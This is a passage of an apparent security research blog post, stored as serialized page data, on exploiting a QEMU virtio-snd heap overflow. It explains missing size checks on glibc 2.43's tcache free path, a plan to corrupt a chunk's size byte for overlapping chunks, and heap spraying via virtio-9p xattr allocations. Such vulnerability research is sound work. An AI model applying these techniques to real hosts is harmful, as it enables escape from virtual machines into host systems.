}\n",[129031],{"type":24,"tag":32,"props":129032,"children":129033},{"__ignoreMap":7},[129034,129042,129069,129076,129083,129090,129109,129116,129136,129143,129171,129195,129202,129215,129257,129264,129272,129279,129296],{"type":24,"tag":90,"props":129035,"children":129036},{"class":92,"line":93},[129037],{"type":24,"tag":90,"props":129038,"children":129039},{"style":97},[129040],{"type":29,"value":129041},"void\n",{"type":24,"tag":90,"props":129043,"children":129044},{"class":92,"line":200},[129045,129049,129053,129057,129061,129065],{"type":24,"tag":90,"props":129046,"children":129047},{"style":108},[129048],{"type":29,"value":128307},{"type":24,"tag":90,"props":129050,"children":129051},{"style":114},[129052],{"type":29,"value":1151},{"type":24,"tag":90,"props":129054,"children":129055},{"style":97},[129056],{"type":29,"value":53451},{"type":24,"tag":90,"props":129058,"children":129059},{"style":120},[129060],{"type":29,"value":366},{"type":24,"tag":90,"props":129062,"children":129063},{"style":136},[129064],{"type":29,"value":42481},{"type":24,"tag":90,"props":129066,"children":129067},{"style":114},[129068],{"type":29,"value":1686},{"type":24,"tag":90,"props":129070,"children":129071},{"class":92,"line":239},[129072],{"type":24,"tag":90,"props":129073,"children":129074},{"style":114},[129075],{"type":29,"value":2221},{"type":24,"tag":90,"props":129077,"children":129078},{"class":92,"line":248},[129079],{"type":24,"tag":90,"props":129080,"children":129081},{"style":114},[129082],{"type":29,"value":128350},{"type":24,"tag":90,"props":129084,"children":129085},{"class":92,"line":258},[129086],{"type":24,"tag":90,"props":129087,"children":129088},{"emptyLinePlaceholder":16},[129089],{"type":29,"value":245},{"type":24,"tag":90,"props":129091,"children":129092},{"class":92,"line":272},[129093,129097,129101,129105],{"type":24,"tag":90,"props":129094,"children":129095},{"style":114},[129096],{"type":29,"value":128365},{"type":24,"tag":90,"props":129098,"children":129099},{"style":120},[129100],{"type":29,"value":5491},{"type":24,"tag":90,"props":129102,"children":129103},{"style":108},[129104],{"type":29,"value":128374},{"type":24,"tag":90,"props":129106,"children":129107},{"style":114},[129108],{"type":29,"value":128379},{"type":24,"tag":90,"props":129110,"children":129111},{"class":92,"line":281},[129112],{"type":24,"tag":90,"props":129113,"children":129114},{"emptyLinePlaceholder":16},[129115],{"type":29,"value":245},{"type":24,"tag":90,"props":129117,"children":129118},{"class":92,"line":384},[129119,129124,129128,129132],{"type":24,"tag":90,"props":129120,"children":129121},{"style":114},[129122],{"type":29,"value":129123}," INTERNAL_SIZE_T size ",{"type":24,"tag":90,"props":129125,"children":129126},{"style":120},[129127],{"type":29,"value":5491},{"type":24,"tag":90,"props":129129,"children":129130},{"style":108},[129131],{"type":29,"value":128701},{"type":24,"tag":90,"props":129133,"children":129134},{"style":114},[129135],{"type":29,"value":128420},{"type":24,"tag":90,"props":129137,"children":129138},{"class":92,"line":420},[129139],{"type":24,"tag":90,"props":129140,"children":129141},{"emptyLinePlaceholder":16},[129142],{"type":29,"value":245},{"type":24,"tag":90,"props":129144,"children":129145},{"class":92,"line":428},[129146,129150,129154,129158,129162,129166],{"type":24,"tag":90,"props":129147,"children":129148},{"style":636},[129149],{"type":29,"value":33207},{"type":24,"tag":90,"props":129151,"children":129152},{"style":114},[129153],{"type":29,"value":1151},{"type":24,"tag":90,"props":129155,"children":129156},{"style":108},[129157],{"type":29,"value":128896},{"type":24,"tag":90,"props":129159,"children":129160},{"style":114},[129161],{"type":29,"value":1151},{"type":24,"tag":90,"props":129163,"children":129164},{"style":108},[129165],{"type":29,"value":128830},{"type":24,"tag":90,"props":129167,"children":129168},{"style":114},[129169],{"type":29,"value":129170}," (p)))\n",{"type":24,"tag":90,"props":129172,"children":129173},{"class":92,"line":437},[129174,129178,129183,129187,129191],{"type":24,"tag":90,"props":129175,"children":129176},{"style":636},[129177],{"type":29,"value":3510},{"type":24,"tag":90,"props":129179,"children":129180},{"style":108},[129181],{"type":29,"value":129182}," malloc_printerr_tail",{"type":24,"tag":90,"props":129184,"children":129185},{"style":114},[129186],{"type":29,"value":1151},{"type":24,"tag":90,"props":129188,"children":129189},{"style":1085},[129190],{"type":29,"value":128860},{"type":24,"tag":90,"props":129192,"children":129193},{"style":114},[129194],{"type":29,"value":571},{"type":24,"tag":90,"props":129196,"children":129197},{"class":92,"line":574},[129198],{"type":24,"tag":90,"props":129199,"children":129200},{"emptyLinePlaceholder":16},[129201],{"type":29,"value":245},{"type":24,"tag":90,"props":129203,"children":129204},{"class":92,"line":606},[129205,129210],{"type":24,"tag":90,"props":129206,"children":129207},{"style":636},[129208],{"type":29,"value":129209},"#if",{"type":24,"tag":90,"props":129211,"children":129212},{"style":108},[129213],{"type":29,"value":129214}," USE_TCACHE\n",{"type":24,"tag":90,"props":129216,"children":129217},{"class":92,"line":615},[129218,129222,129226,129231,129235,129239,129244,129248,129253],{"type":24,"tag":90,"props":129219,"children":129220},{"style":636},[129221],{"type":29,"value":33207},{"type":24,"tag":90,"props":129223,"children":129224},{"style":114},[129225],{"type":29,"value":1151},{"type":24,"tag":90,"props":129227,"children":129228},{"style":108},[129229],{"type":29,"value":129230},"__glibc_likely",{"type":24,"tag":90,"props":129232,"children":129233},{"style":114},[129234],{"type":29,"value":128901},{"type":24,"tag":90,"props":129236,"children":129237},{"style":120},[129238],{"type":29,"value":1575},{"type":24,"tag":90,"props":129240,"children":129241},{"style":136},[129242],{"type":29,"value":129243}," mp_",{"type":24,"tag":90,"props":129245,"children":129246},{"style":114},[129247],{"type":29,"value":226},{"type":24,"tag":90,"props":129249,"children":129250},{"style":136},[129251],{"type":29,"value":129252},"tcache_max_bytes",{"type":24,"tag":90,"props":129254,"children":129255},{"style":114},[129256],{"type":29,"value":21507},{"type":24,"tag":90,"props":129258,"children":129259},{"class":92,"line":623},[129260],{"type":24,"tag":90,"props":129261,"children":129262},{"style":114},[129263],{"type":29,"value":30998},{"type":24,"tag":90,"props":129265,"children":129266},{"class":92,"line":632},[129267],{"type":24,"tag":90,"props":129268,"children":129269},{"style":114},[129270],{"type":29,"value":129271}," [...]\n",{"type":24,"tag":90,"props":129273,"children":129274},{"class":92,"line":669},[129275],{"type":24,"tag":90,"props":129276,"children":129277},{"emptyLinePlaceholder":16},[129278],{"type":29,"value":245},{"type":24,"tag":90,"props":129280,"children":129281},{"class":92,"line":683},[129282,129286,129291],{"type":24,"tag":90,"props":129283,"children":129284},{"style":636},[129285],{"type":29,"value":41173},{"type":24,"tag":90,"props":129287,"children":129288},{"style":108},[129289],{"type":29,"value":129290}," tcache_put",{"type":24,"tag":90,"props":129292,"children":129293},{"style":114},[129294],{"type":29,"value":129295}," (p, tc_idx);\n",{"type":24,"tag":90,"props":129297,"children":129298},{"class":92,"line":737},[129299],{"type":24,"tag":90,"props":129300,"children":129301},{"style":114},[129302],{"type":29,"value":612},{"type":24,"tag":25,"props":129304,"children":129305},{},[129306,129308,129313],{"type":29,"value":129307},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":24,"tag":32,"props":129309,"children":129311},{"className":129310},[],[129312],{"type":29,"value":126090},{"type":29,"value":129314}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":24,"tag":25,"props":129316,"children":129317},{},[129318,129320,129326,129327,129332],{"type":29,"value":129319},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":24,"tag":32,"props":129321,"children":129323},{"className":129322},[],[129324],{"type":29,"value":129325},"check_inuse_chunk",{"type":29,"value":1151},{"type":24,"tag":32,"props":129328,"children":129330},{"className":129329},[],[129331],{"type":29,"value":126218},{"type":29,"value":25754},{"type":24,"tag":80,"props":129334,"children":129336},{"code":129335,"language":3030,"meta":7,"className":3028,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n check_inuse_chunk (arena_for_chunk (p), p); // [1]\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n [...]\n",[129337],{"type":24,"tag":32,"props":129338,"children":129339},{"__ignoreMap":7},[129340,129347,129374,129381,129388,129395,129414,129421,129440,129447,129474,129497,129504,129530,129537,129548,129605],{"type":24,"tag":90,"props":129341,"children":129342},{"class":92,"line":93},[129343],{"type":24,"tag":90,"props":129344,"children":129345},{"style":97},[129346],{"type":29,"value":129041},{"type":24,"tag":90,"props":129348,"children":129349},{"class":92,"line":200},[129350,129354,129358,129362,129366,129370],{"type":24,"tag":90,"props":129351,"children":129352},{"style":108},[129353],{"type":29,"value":128307},{"type":24,"tag":90,"props":129355,"children":129356},{"style":114},[129357],{"type":29,"value":1151},{"type":24,"tag":90,"props":129359,"children":129360},{"style":97},[129361],{"type":29,"value":53451},{"type":24,"tag":90,"props":129363,"children":129364},{"style":120},[129365],{"type":29,"value":366},{"type":24,"tag":90,"props":129367,"children":129368},{"style":136},[129369],{"type":29,"value":42481},{"type":24,"tag":90,"props":129371,"children":129372},{"style":114},[129373],{"type":29,"value":1686},{"type":24,"tag":90,"props":129375,"children":129376},{"class":92,"line":239},[129377],{"type":24,"tag":90,"props":129378,"children":129379},{"style":114},[129380],{"type":29,"value":2221},{"type":24,"tag":90,"props":129382,"children":129383},{"class":92,"line":248},[129384],{"type":24,"tag":90,"props":129385,"children":129386},{"style":114},[129387],{"type":29,"value":128350},{"type":24,"tag":90,"props":129389,"children":129390},{"class":92,"line":258},[129391],{"type":24,"tag":90,"props":129392,"children":129393},{"emptyLinePlaceholder":16},[129394],{"type":29,"value":245},{"type":24,"tag":90,"props":129396,"children":129397},{"class":92,"line":272},[129398,129402,129406,129410],{"type":24,"tag":90,"props":129399,"children":129400},{"style":114},[129401],{"type":29,"value":128365},{"type":24,"tag":90,"props":129403,"children":129404},{"style":120},[129405],{"type":29,"value":5491},{"type":24,"tag":90,"props":129407,"children":129408},{"style":108},[129409],{"type":29,"value":128374},{"type":24,"tag":90,"props":129411,"children":129412},{"style":114},[129413],{"type":29,"value":128379},{"type":24,"tag":90,"props":129415,"children":129416},{"class":92,"line":281},[129417],{"type":24,"tag":90,"props":129418,"children":129419},{"emptyLinePlaceholder":16},[129420],{"type":29,"value":245},{"type":24,"tag":90,"props":129422,"children":129423},{"class":92,"line":384},[129424,129428,129432,129436],{"type":24,"tag":90,"props":129425,"children":129426},{"style":114},[129427],{"type":29,"value":129123},{"type":24,"tag":90,"props":129429,"children":129430},{"style":120},[129431],{"type":29,"value":5491},{"type":24,"tag":90,"props":129433,"children":129434},{"style":108},[129435],{"type":29,"value":128701},{"type":24,"tag":90,"props":129437,"children":129438},{"style":114},[129439],{"type":29,"value":128420},{"type":24,"tag":90,"props":129441,"children":129442},{"class":92,"line":420},[129443],{"type":24,"tag":90,"props":129444,"children":129445},{"emptyLinePlaceholder":16},[129446],{"type":29,"value":245},{"type":24,"tag":90,"props":129448,"children":129449},{"class":92,"line":428},[129450,129454,129458,129462,129466,129470],{"type":24,"tag":90,"props":129451,"children":129452},{"style":636},[129453],{"type":29,"value":33207},{"type":24,"tag":90,"props":129455,"children":129456},{"style":114},[129457],{"type":29,"value":1151},{"type":24,"tag":90,"props":129459,"children":129460},{"style":108},[129461],{"type":29,"value":128896},{"type":24,"tag":90,"props":129463,"children":129464},{"style":114},[129465],{"type":29,"value":1151},{"type":24,"tag":90,"props":129467,"children":129468},{"style":108},[129469],{"type":29,"value":128830},{"type":24,"tag":90,"props":129471,"children":129472},{"style":114},[129473],{"type":29,"value":129170},{"type":24,"tag":90,"props":129475,"children":129476},{"class":92,"line":437},[129477,129481,129485,129489,129493],{"type":24,"tag":90,"props":129478,"children":129479},{"style":636},[129480],{"type":29,"value":3510},{"type":24,"tag":90,"props":129482,"children":129483},{"style":108},[129484],{"type":29,"value":129182},{"type":24,"tag":90,"props":129486,"children":129487},{"style":114},[129488],{"type":29,"value":1151},{"type":24,"tag":90,"props":129490,"children":129491},{"style":1085},[129492],{"type":29,"value":128860},{"type":24,"tag":90,"props":129494,"children":129495},{"style":114},[129496],{"type":29,"value":571},{"type":24,"tag":90,"props":129498,"children":129499},{"class":92,"line":574},[129500],{"type":24,"tag":90,"props":129501,"children":129502},{"emptyLinePlaceholder":16},[129503],{"type":29,"value":245},{"type":24,"tag":90,"props":129505,"children":129506},{"class":92,"line":606},[129507,129511,129515,129520,129525],{"type":24,"tag":90,"props":129508,"children":129509},{"style":108},[129510],{"type":29,"value":128963},{"type":24,"tag":90,"props":129512,"children":129513},{"style":114},[129514],{"type":29,"value":1151},{"type":24,"tag":90,"props":129516,"children":129517},{"style":108},[129518],{"type":29,"value":129519},"arena_for_chunk",{"type":24,"tag":90,"props":129521,"children":129522},{"style":114},[129523],{"type":29,"value":129524}," (p), p);",{"type":24,"tag":90,"props":129526,"children":129527},{"style":252},[129528],{"type":29,"value":129529}," // [1]\n",{"type":24,"tag":90,"props":129531,"children":129532},{"class":92,"line":615},[129533],{"type":24,"tag":90,"props":129534,"children":129535},{"emptyLinePlaceholder":16},[129536],{"type":29,"value":245},{"type":24,"tag":90,"props":129538,"children":129539},{"class":92,"line":623},[129540,129544],{"type":24,"tag":90,"props":129541,"children":129542},{"style":636},[129543],{"type":29,"value":129209},{"type":24,"tag":90,"props":129545,"children":129546},{"style":108},[129547],{"type":29,"value":129214},{"type":24,"tag":90,"props":129549,"children":129550},{"class":92,"line":632},[129551,129555,129559,129563,129567,129571,129575,129579,129583,129587,129592,129596,129601],{"type":24,"tag":90,"props":129552,"children":129553},{"style":636},[129554],{"type":29,"value":33207},{"type":24,"tag":90,"props":129556,"children":129557},{"style":114},[129558],{"type":29,"value":1151},{"type":24,"tag":90,"props":129560,"children":129561},{"style":108},[129562],{"type":29,"value":129230},{"type":24,"tag":90,"props":129564,"children":129565},{"style":114},[129566],{"type":29,"value":128901},{"type":24,"tag":90,"props":129568,"children":129569},{"style":120},[129570],{"type":29,"value":1575},{"type":24,"tag":90,"props":129572,"children":129573},{"style":136},[129574],{"type":29,"value":129243},{"type":24,"tag":90,"props":129576,"children":129577},{"style":114},[129578],{"type":29,"value":226},{"type":24,"tag":90,"props":129580,"children":129581},{"style":136},[129582],{"type":29,"value":129252},{"type":24,"tag":90,"props":129584,"children":129585},{"style":120},[129586],{"type":29,"value":649},{"type":24,"tag":90,"props":129588,"children":129589},{"style":114},[129590],{"type":29,"value":129591}," tcache ",{"type":24,"tag":90,"props":129593,"children":129594},{"style":120},[129595],{"type":29,"value":2196},{"type":24,"tag":90,"props":129597,"children":129598},{"style":97},[129599],{"type":29,"value":129600}," NULL",{"type":24,"tag":90,"props":129602,"children":129603},{"style":114},[129604],{"type":29,"value":21507},{"type":24,"tag":90,"props":129606,"children":129607},{"class":92,"line":669},[129608],{"type":24,"tag":90,"props":129609,"children":129610},{"style":114},[129611],{"type":29,"value":128983},{"type":24,"tag":25,"props":129613,"children":129614},{},[129615,129617,129622],{"type":29,"value":129616},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":24,"tag":32,"props":129618,"children":129620},{"className":129619},[],[129621],{"type":29,"value":126090},{"type":29,"value":129623},", because on the latest 2.43 glibc they are non-existent.",{"type":24,"tag":20586,"props":129625,"children":129626},{},[],{"type":24,"tag":25,"props":129628,"children":129629},{},[129630,129632,129637,129639,129645,129647,129652,129654,129660],{"type":29,"value":129631},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":24,"tag":32,"props":129633,"children":129635},{"className":129634},[],[129636],{"type":29,"value":126090},{"type":29,"value":129638}," field was initially ",{"type":24,"tag":32,"props":129640,"children":129642},{"className":129641},[],[129643],{"type":29,"value":129644},"0x200",{"type":29,"value":129646},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":24,"tag":32,"props":129648,"children":129650},{"className":129649},[],[129651],{"type":29,"value":128267},{"type":29,"value":129653},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":24,"tag":32,"props":129655,"children":129657},{"className":129656},[],[129658],{"type":29,"value":129659},"[0x210, 0x2f0]",{"type":29,"value":129661},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":24,"tag":25,"props":129663,"children":129664},{},[129665],{"type":29,"value":129666},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":24,"tag":1019,"props":129668,"children":129670},{"id":129669},"heap-spraying",[129671],{"type":29,"value":129672},"Heap Spraying",{"type":24,"tag":25,"props":129674,"children":129675},{},[129676,129678,129683],{"type":29,"value":129677},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":24,"tag":32,"props":129679,"children":129681},{"className":129680},[],[129682],{"type":29,"value":129644},{"type":29,"value":129684},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":24,"tag":25,"props":129686,"children":129687},{},[129688,129690,129695],{"type":29,"value":129689},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":24,"tag":32,"props":129691,"children":129693},{"className":129692},[],[129694],{"type":29,"value":126285},{"type":29,"value":129696}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":24,"tag":25,"props":129698,"children":129699},{},[129700],{"type":29,"value":129701},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":24,"tag":20686,"props":129703,"children":129705},{"id":129704},"virtio-9p",[129706],{"type":29,"value":129704},{"type":24,"tag":25,"props":129708,"children":129709},{},[129710,129715],{"type":24,"tag":32,"props":129711,"children":129713},{"className":129712},[],[129714],{"type":29,"value":129704},{"type":29,"value":129716}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":24,"tag":25,"props":129718,"children":129719},{},[129720,129722,129728,129730,129736,129737,129743,129745,129750],{"type":29,"value":129721},"Through a ",{"type":24,"tag":32,"props":129723,"children":129725},{"className":129724},[],[129726],{"type":29,"value":129727},"P9_TXATTRCREATE",{"type":29,"value":129729}," request, we can allocate host-side buffers for both the ",{"type":24,"tag":32,"props":129731,"children":129733},{"className":129732},[],[129734],{"type":29,"value":129735},".name",{"type":29,"value":13360},{"type":24,"tag":32,"props":129738,"children":129740},{"className":129739},[],[129741],{"type":29,"value":129742},".value",{"type":29,"value":129744}," fields, with the size of ",{"type":24,"tag":32,"props":129746,"children":129748},{"className":129747},[],[129749],{"type":29,"value":129742},{"type":29,"value":129751}," being directly controlled by the guest.",{"type":24,"tag":80,"props":129753,"children":129755},{"code":129754,"language":3030,"meta":7,"className":3028,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n int flags, rflags = 0;\n int32_t fid;\n uint64_t size;\n ssize_t err = 0;\n V9fsString name;\n size_t offset = 7;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n V9fsPDU *pdu = opaque;\n\n v9fs_string_init(&name);\n err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n if (err \u003C 0) {\n goto out_nofid;\n }\n\n [...]\n\n if (size > P9_XATTR_SIZE_MAX) {\n err = -E2BIG;\n goto out_nofid;\n }\n\n [...]\n\n v9fs_string_init(&xattr_fidp->fs.xattr.name);\n v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[129756],{"type":24,"tag":32,"props":129757,"children":129758},{"__ignoreMap":7},[129759,129801,129808,129832,129845,129856,129881,129889,129914,129931,129947,129973,129980,130001,130067,130091,130104,130111,130118,130125,130132,130152,130173,130184,130191,130198,130205,130212,130261,130317,130362],{"type":24,"tag":90,"props":129760,"children":129761},{"class":92,"line":93},[129762,129766,129770,129775,129780,129784,129788,129792,129797],{"type":24,"tag":90,"props":129763,"children":129764},{"style":97},[129765],{"type":29,"value":52868},{"type":24,"tag":90,"props":129767,"children":129768},{"style":97},[129769],{"type":29,"value":52873},{"type":24,"tag":90,"props":129771,"children":129772},{"style":114},[129773],{"type":29,"value":129774}," coroutine_fn ",{"type":24,"tag":90,"props":129776,"children":129777},{"style":108},[129778],{"type":29,"value":129779},"v9fs_xattrcreate",{"type":24,"tag":90,"props":129781,"children":129782},{"style":114},[129783],{"type":29,"value":117},{"type":24,"tag":90,"props":129785,"children":129786},{"style":97},[129787],{"type":29,"value":53451},{"type":24,"tag":90,"props":129789,"children":129790},{"style":120},[129791],{"type":29,"value":366},{"type":24,"tag":90,"props":129793,"children":129794},{"style":136},[129795],{"type":29,"value":129796},"opaque",{"type":24,"tag":90,"props":129798,"children":129799},{"style":114},[129800],{"type":29,"value":1686},{"type":24,"tag":90,"props":129802,"children":129803},{"class":92,"line":200},[129804],{"type":24,"tag":90,"props":129805,"children":129806},{"style":114},[129807],{"type":29,"value":2221},{"type":24,"tag":90,"props":129809,"children":129810},{"class":92,"line":239},[129811,129815,129820,129824,129828],{"type":24,"tag":90,"props":129812,"children":129813},{"style":97},[129814],{"type":29,"value":20871},{"type":24,"tag":90,"props":129816,"children":129817},{"style":114},[129818],{"type":29,"value":129819}," flags, rflags ",{"type":24,"tag":90,"props":129821,"children":129822},{"style":120},[129823],{"type":29,"value":5491},{"type":24,"tag":90,"props":129825,"children":129826},{"style":349},[129827],{"type":29,"value":5448},{"type":24,"tag":90,"props":129829,"children":129830},{"style":114},[129831],{"type":29,"value":381},{"type":24,"tag":90,"props":129833,"children":129834},{"class":92,"line":248},[129835,129840],{"type":24,"tag":90,"props":129836,"children":129837},{"style":97},[129838],{"type":29,"value":129839}," int32_t",{"type":24,"tag":90,"props":129841,"children":129842},{"style":114},[129843],{"type":29,"value":129844}," fid;\n",{"type":24,"tag":90,"props":129846,"children":129847},{"class":92,"line":258},[129848,129852],{"type":24,"tag":90,"props":129849,"children":129850},{"style":97},[129851],{"type":29,"value":57437},{"type":24,"tag":90,"props":129853,"children":129854},{"style":114},[129855],{"type":29,"value":126432},{"type":24,"tag":90,"props":129857,"children":129858},{"class":92,"line":272},[129859,129864,129869,129873,129877],{"type":24,"tag":90,"props":129860,"children":129861},{"style":97},[129862],{"type":29,"value":129863}," ssize_t",{"type":24,"tag":90,"props":129865,"children":129866},{"style":114},[129867],{"type":29,"value":129868}," err ",{"type":24,"tag":90,"props":129870,"children":129871},{"style":120},[129872],{"type":29,"value":5491},{"type":24,"tag":90,"props":129874,"children":129875},{"style":349},[129876],{"type":29,"value":5448},{"type":24,"tag":90,"props":129878,"children":129879},{"style":114},[129880],{"type":29,"value":381},{"type":24,"tag":90,"props":129882,"children":129883},{"class":92,"line":281},[129884],{"type":24,"tag":90,"props":129885,"children":129886},{"style":114},[129887],{"type":29,"value":129888}," V9fsString name;\n",{"type":24,"tag":90,"props":129890,"children":129891},{"class":92,"line":384},[129892,129896,129901,129905,129910],{"type":24,"tag":90,"props":129893,"children":129894},{"style":97},[129895],{"type":29,"value":3080},{"type":24,"tag":90,"props":129897,"children":129898},{"style":114},[129899],{"type":29,"value":129900}," offset ",{"type":24,"tag":90,"props":129902,"children":129903},{"style":120},[129904],{"type":29,"value":5491},{"type":24,"tag":90,"props":129906,"children":129907},{"style":349},[129908],{"type":29,"value":129909}," 7",{"type":24,"tag":90,"props":129911,"children":129912},{"style":114},[129913],{"type":29,"value":381},{"type":24,"tag":90,"props":129915,"children":129916},{"class":92,"line":420},[129917,129922,129926],{"type":24,"tag":90,"props":129918,"children":129919},{"style":114},[129920],{"type":29,"value":129921}," V9fsFidState ",{"type":24,"tag":90,"props":129923,"children":129924},{"style":120},[129925],{"type":29,"value":983},{"type":24,"tag":90,"props":129927,"children":129928},{"style":114},[129929],{"type":29,"value":129930},"file_fidp;\n",{"type":24,"tag":90,"props":129932,"children":129933},{"class":92,"line":428},[129934,129938,129942],{"type":24,"tag":90,"props":129935,"children":129936},{"style":114},[129937],{"type":29,"value":129921},{"type":24,"tag":90,"props":129939,"children":129940},{"style":120},[129941],{"type":29,"value":983},{"type":24,"tag":90,"props":129943,"children":129944},{"style":114},[129945],{"type":29,"value":129946},"xattr_fidp;\n",{"type":24,"tag":90,"props":129948,"children":129949},{"class":92,"line":437},[129950,129955,129959,129964,129968],{"type":24,"tag":90,"props":129951,"children":129952},{"style":114},[129953],{"type":29,"value":129954}," V9fsPDU ",{"type":24,"tag":90,"props":129956,"children":129957},{"style":120},[129958],{"type":29,"value":983},{"type":24,"tag":90,"props":129960,"children":129961},{"style":114},[129962],{"type":29,"value":129963},"pdu ",{"type":24,"tag":90,"props":129965,"children":129966},{"style":120},[129967],{"type":29,"value":5491},{"type":24,"tag":90,"props":129969,"children":129970},{"style":114},[129971],{"type":29,"value":129972}," opaque;\n",{"type":24,"tag":90,"props":129974,"children":129975},{"class":92,"line":574},[129976],{"type":24,"tag":90,"props":129977,"children":129978},{"emptyLinePlaceholder":16},[129979],{"type":29,"value":245},{"type":24,"tag":90,"props":129981,"children":129982},{"class":92,"line":606},[129983,129988,129992,129996],{"type":24,"tag":90,"props":129984,"children":129985},{"style":108},[129986],{"type":29,"value":129987}," v9fs_string_init",{"type":24,"tag":90,"props":129989,"children":129990},{"style":114},[129991],{"type":29,"value":117},{"type":24,"tag":90,"props":129993,"children":129994},{"style":120},[129995],{"type":29,"value":123},{"type":24,"tag":90,"props":129997,"children":129998},{"style":114},[129999],{"type":29,"value":130000},"name);\n",{"type":24,"tag":90,"props":130002,"children":130003},{"class":92,"line":615},[130004,130009,130013,130018,130023,130028,130032,130036,130041,130045,130050,130054,130058,130062],{"type":24,"tag":90,"props":130005,"children":130006},{"style":114},[130007],{"type":29,"value":130008}," err ",{"type":24,"tag":90,"props":130010,"children":130011},{"style":120},[130012],{"type":29,"value":5491},{"type":24,"tag":90,"props":130014,"children":130015},{"style":108},[130016],{"type":29,"value":130017}," pdu_unmarshal",{"type":24,"tag":90,"props":130019,"children":130020},{"style":114},[130021],{"type":29,"value":130022},"(pdu, offset, ",{"type":24,"tag":90,"props":130024,"children":130025},{"style":1085},[130026],{"type":29,"value":130027},"\"dsqd\"",{"type":24,"tag":90,"props":130029,"children":130030},{"style":114},[130031],{"type":29,"value":133},{"type":24,"tag":90,"props":130033,"children":130034},{"style":120},[130035],{"type":29,"value":123},{"type":24,"tag":90,"props":130037,"children":130038},{"style":114},[130039],{"type":29,"value":130040},"fid, ",{"type":24,"tag":90,"props":130042,"children":130043},{"style":120},[130044],{"type":29,"value":123},{"type":24,"tag":90,"props":130046,"children":130047},{"style":114},[130048],{"type":29,"value":130049},"name, ",{"type":24,"tag":90,"props":130051,"children":130052},{"style":120},[130053],{"type":29,"value":123},{"type":24,"tag":90,"props":130055,"children":130056},{"style":114},[130057],{"type":29,"value":128800},{"type":24,"tag":90,"props":130059,"children":130060},{"style":120},[130061],{"type":29,"value":123},{"type":24,"tag":90,"props":130063,"children":130064},{"style":114},[130065],{"type":29,"value":130066},"flags);\n",{"type":24,"tag":90,"props":130068,"children":130069},{"class":92,"line":623},[130070,130074,130079,130083,130087],{"type":24,"tag":90,"props":130071,"children":130072},{"style":636},[130073],{"type":29,"value":639},{"type":24,"tag":90,"props":130075,"children":130076},{"style":114},[130077],{"type":29,"value":130078}," (err ",{"type":24,"tag":90,"props":130080,"children":130081},{"style":120},[130082],{"type":29,"value":1575},{"type":24,"tag":90,"props":130084,"children":130085},{"style":349},[130086],{"type":29,"value":5448},{"type":24,"tag":90,"props":130088,"children":130089},{"style":114},[130090],{"type":29,"value":1297},{"type":24,"tag":90,"props":130092,"children":130093},{"class":92,"line":632},[130094,130099],{"type":24,"tag":90,"props":130095,"children":130096},{"style":636},[130097],{"type":29,"value":130098}," goto",{"type":24,"tag":90,"props":130100,"children":130101},{"style":114},[130102],{"type":29,"value":130103}," out_nofid;\n",{"type":24,"tag":90,"props":130105,"children":130106},{"class":92,"line":669},[130107],{"type":24,"tag":90,"props":130108,"children":130109},{"style":114},[130110],{"type":29,"value":612},{"type":24,"tag":90,"props":130112,"children":130113},{"class":92,"line":683},[130114],{"type":24,"tag":90,"props":130115,"children":130116},{"emptyLinePlaceholder":16},[130117],{"type":29,"value":245},{"type":24,"tag":90,"props":130119,"children":130120},{"class":92,"line":737},[130121],{"type":24,"tag":90,"props":130122,"children":130123},{"style":114},[130124],{"type":29,"value":106631},{"type":24,"tag":90,"props":130126,"children":130127},{"class":92,"line":751},[130128],{"type":24,"tag":90,"props":130129,"children":130130},{"emptyLinePlaceholder":16},[130131],{"type":29,"value":245},{"type":24,"tag":90,"props":130133,"children":130134},{"class":92,"line":782},[130135,130139,130143,130147],{"type":24,"tag":90,"props":130136,"children":130137},{"style":636},[130138],{"type":29,"value":639},{"type":24,"tag":90,"props":130140,"children":130141},{"style":114},[130142],{"type":29,"value":128901},{"type":24,"tag":90,"props":130144,"children":130145},{"style":120},[130146],{"type":29,"value":12830},{"type":24,"tag":90,"props":130148,"children":130149},{"style":114},[130150],{"type":29,"value":130151}," P9_XATTR_SIZE_MAX) {\n",{"type":24,"tag":90,"props":130153,"children":130154},{"class":92,"line":791},[130155,130160,130164,130168],{"type":24,"tag":90,"props":130156,"children":130157},{"style":114},[130158],{"type":29,"value":130159}," err 